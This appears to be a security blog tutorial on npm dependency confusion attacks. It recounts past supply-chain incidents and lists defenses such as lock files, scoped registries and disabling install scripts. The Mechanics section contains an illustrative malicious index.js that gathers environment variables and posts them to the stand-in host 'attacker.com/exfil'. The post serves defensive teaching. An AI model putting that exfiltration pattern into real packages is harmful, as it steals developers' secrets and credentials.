npm Supply Chain Attacks: Dependency Confusion
An attacker publishes a public package with the same name as your private internal package. npm installs it. Your app runs their code.
This is dependency confusion, and it’s devastatingly simple. A researcher published a proof-of-concept in 2021 that exposed hundreds of companies, including Apple, Microsoft, and Tesla. In 2025, it’s still winning because teams underestimate it.
The attack doesn’t require hacking npm infrastructure. It requires understanding one thing: version precedence.
How the Attack Works
Your company maintains a private npm package called @mycompany/auth. Inside your monorepo, you reference it:
{ "dependencies": { "@mycompany/auth": "^2.1.0" }}An attacker publishes a public package called @mycompany/auth with version 9.9.9. When npm resolves dependencies:
- Check public registry first (default behavior).
- Public
@mycompany/[email protected]exists. 9.9.9 > 2.1.0(semver).- Install the public version.
- Attacker’s code runs in your build pipeline.
No broken build. No loud errors. Just silent code execution.
Real-World Incidents
🔹 ua-parser-js (2021): Maintainer account compromised. Attacker injected crypto-mining code. 70M+ weekly downloads affected. Built applications, CI systems, and deployment pipelines all mined cryptocurrency.
🔹 event-stream (2018): Maintainer added a dependency (flatmap-stream) designed to steal Bitcoin wallets from downstream projects. Shipped to production for weeks.
🔹 node-ipc (2022): Maintainer pushed protest code that deleted files on certain dates. Bypassed in many projects using old lock files, but the intent was destructive.
The Mechanics: Step by Step
- Attacker profiles your company: Public GitHub repos, npm scopes, package names.
- Publishes a trojan: Same name as internal package, higher version number.
- Waits for install: New developer runs
npm install, or CI rebuilds the app. - Code executes: Postinstall script, or code in index.js runs immediately.
- Exfiltrates data: Steals env vars, AWS credentials, API keys, source code.
// Malicious package index.jsconst fs = require('fs');const https = require('https');
// Runs on installconst secrets = { env: process.env, cwd: process.cwd(), package: require('./package.json')};
https.post('attacker.com/exfil', JSON.stringify(secrets), { headers: { 'Content-Type': 'application/json' }});
module.exports = { safe: true }; // Looks normalHow to Detect Attacks
✔ npm audit: Shows outdated/vulnerable packages. Doesn’t catch zero-days, but catches known published exploits.
npm audit --production✔ Socket.dev: Scans every dependency for suspicious behavior: crypto operations, network requests, file system access on install.
✔ Snyk: Commercial tool. Scans source code and dependencies, flags risky patterns.
npx snyk test✔ Manual review: Check new dependencies. Package published 1 day ago with 0 history and 10 downloads? Red flag.
Defense 1: Lock Files
package-lock.json pins exact versions and registries.
{ "dependencies": { "@mycompany/auth": { "version": "2.1.0", "resolved": "https://private-npm.company.com/@mycompany/auth/-/@mycompany/auth-2.1.0.tgz", "integrity": "sha512-..." } }}If npm tries to install 9.9.9 from public registry, hash mismatch fails the install.
Always commit lock files to version control.
Defense 2: npm Scope Configuration
Configure your private registry only for scoped packages:
npm config set @mycompany:registry https://private-npm.company.com/Or in .npmrc:
@mycompany:registry=https://private-npm.company.com///private-npm.company.com/:_authToken=<token>always-auth=trueNow @mycompany/* packages always resolve to your private registry.
Defense 3: Disable Postinstall Scripts
Postinstall scripts run during install. Most attacks hide in postinstall.
npm install --ignore-scriptsOr globally:
npm config set ignore-scripts trueTrade-off: Some legitimate packages need postinstall (native bindings, setup). Review your dependencies.
Defense 4: Automated Updates with Verification
Use Renovate or Dependabot to update dependencies frequently, but with checks:
{ "extends": ["config:base"], "lockFileMaintenance": { "enabled": true }, "vulnerabilityAlerts": { "enabled": true }, "postUpdateOptions": ["yarnDedupeHighest"]}Combined with CI checks (tests, security scans), updates are safe.
Defense 5: Maintainer Trust
Check the package maintainer:
npm view @mycompany/auth --json | jq '.maintainers'Look for:
- Publication history (months or years).
- Maintainer reputation (GitHub profile, other packages).
- Download velocity (millions per week = scrutiny).
New package from unknown maintainer? Assume compromised until proven.
Summary
Dependency confusion is not a hypothetical. It’s a weaponized attack pattern with proven real-world impact.
Your defense layers:
🔹 Lock files: Pin versions and registry.
🔹 Scope configuration: Route scoped packages to private registry.
🔹 —ignore-scripts: Block postinstall execution.
🔹 Automated scanning: Socket.dev, Snyk, npm audit.
🔹 Frequent updates: Keep dependencies fresh.
🔹 Maintainer vetting: Trust but verify.
None of these alone are sufficient. Stack them.
The cost of a supply chain breach (exfiltrated secrets, ransomware, service disruption) is orders of magnitude higher than the friction of maintaining lock files and scoped registries.